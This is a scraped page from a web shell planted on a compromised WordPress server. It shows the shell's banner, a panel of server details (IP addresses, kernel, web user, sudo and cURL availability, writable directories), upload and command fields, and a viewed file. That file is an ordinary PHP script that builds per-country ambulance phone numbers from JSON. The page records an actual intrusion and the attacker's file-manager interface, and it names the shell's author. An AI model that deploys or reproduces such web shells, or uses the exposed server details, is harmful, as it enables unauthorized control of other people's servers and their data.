Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_beta/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_beta/api/country-json.php
<?php

// http://emergencynumberapi.com/api/data/all

	$json_data = file_get_contents(__DIR__ . '/all.json');

	$result = [];
	$data = json_decode($json_data, TRUE);
	foreach($data as $item) {
		$nodata = array_key_exists('noData', $item) ? $item['noData'] : FALSE;
		if (!$nodata) {
			$numbers = _GetNumbers($item, $item['Member_112']);
			if (is_array($numbers)) {
				$country = strtolower($item['Country']['ISOCode']);
				if (strpos($country, 'tf,') !== FALSE) continue;		// unsupported
				
				if ($numbers['mobile'] !== NULL) {
					$result['mobile'][$country] = $numbers['mobile'];
				}
				if ($numbers['landline'] !== NULL) {
					$result['landline'][$country] = $numbers['landline'];
				}
			}
		}
	}
	ksort($result['mobile']);
	ksort($result['landline']);
	$filename = __DIR__ . '/all.txt';
	$x = json_encode($result);
	file_put_contents($filename, $x);
	echo "\nResults written to $filename\n\n";
	exit;

function _GetNumbers($item, $member112) {
	$result = ['mobile' => NULL, 'landline' => NULL];
	_processEntry($item['Dispatch'], $result);
	_processEntry($item['Ambulance'], $result);
	if ($member112) {
		if ($result['mobile'] === NULL) $result['mobile'] = '112';
		if ($result['landline'] === NULL) $result['landline'] = '112';
	}
	if ($result['mobile'] === NULL && $result['landline'] === NULL) return NULL;
	return $result;
}

function _ProcessEntry($cell, &$result) {
	foreach($cell as $type => $data) {
		$x = _ExtractData($data);
		if ($x != '') {
			switch($type) {
				case 'All':
					if ($result['mobile'] === NULL) $result['mobile'] = $x;
					if ($result['landline'] === NULL) $result['landline'] = $x;
					break;
				case 'GSM':
					if ($result['mobile'] === NULL) $result['mobile'] = $x;
					break;
				case 'Fixed':
					if ($result['landline'] === NULL) $result['landline'] = $x;
					break;
			}
		}
	}
}

function _ExtractData($data) {
	$output = '';
	foreach($data as $item) {
		if ($item !== NULL) {
			if ($output != '') $output .= ', ';
			$output .= trim($item);
		}
	}
	return $output;
}
  
/*
// country code, landline ambulance number (web), mobile ambulance number (ios/android)
     "Ambulance": {
        "All": [
          "999"
        ],
        "GSM":["112"]
      },
	  
      "Dispatch": {
        "Fixed": ["000"],
        "GSM": ["112"]
      },
function retrieveList() {
	let result = {};
	for(let i = 0; i < listing.length; i++) {
		let nodata = typeof listing[i].noData === 'undefined' ? false : listing[i].noData;
		if (!nodata) {
			if (listing[i].Member_112) {
				result[listing[i].Country.ISOCode] = '112';
			} else if (listing[i].Ambulance.All[0] !== null) {		// if dedicated Ambulance number, pick it up
				result[listing[i].Country.ISOCode] = listing[i].Ambulance.All;
			} else if (typeof listing[i].Dispatch.All !== 'undefined' && listing[i].Dispatch.All[0] !== null) {		// pick up dispatch number, if present
				result[listing[i].Country.ISOCode] = listing[i].Dispatch.All;
			}
		}
	}
	return result;
}
  
export default {
	retrieveList,
}

*/


Youez - 2016 - github.com/yon3zu
LinuXploit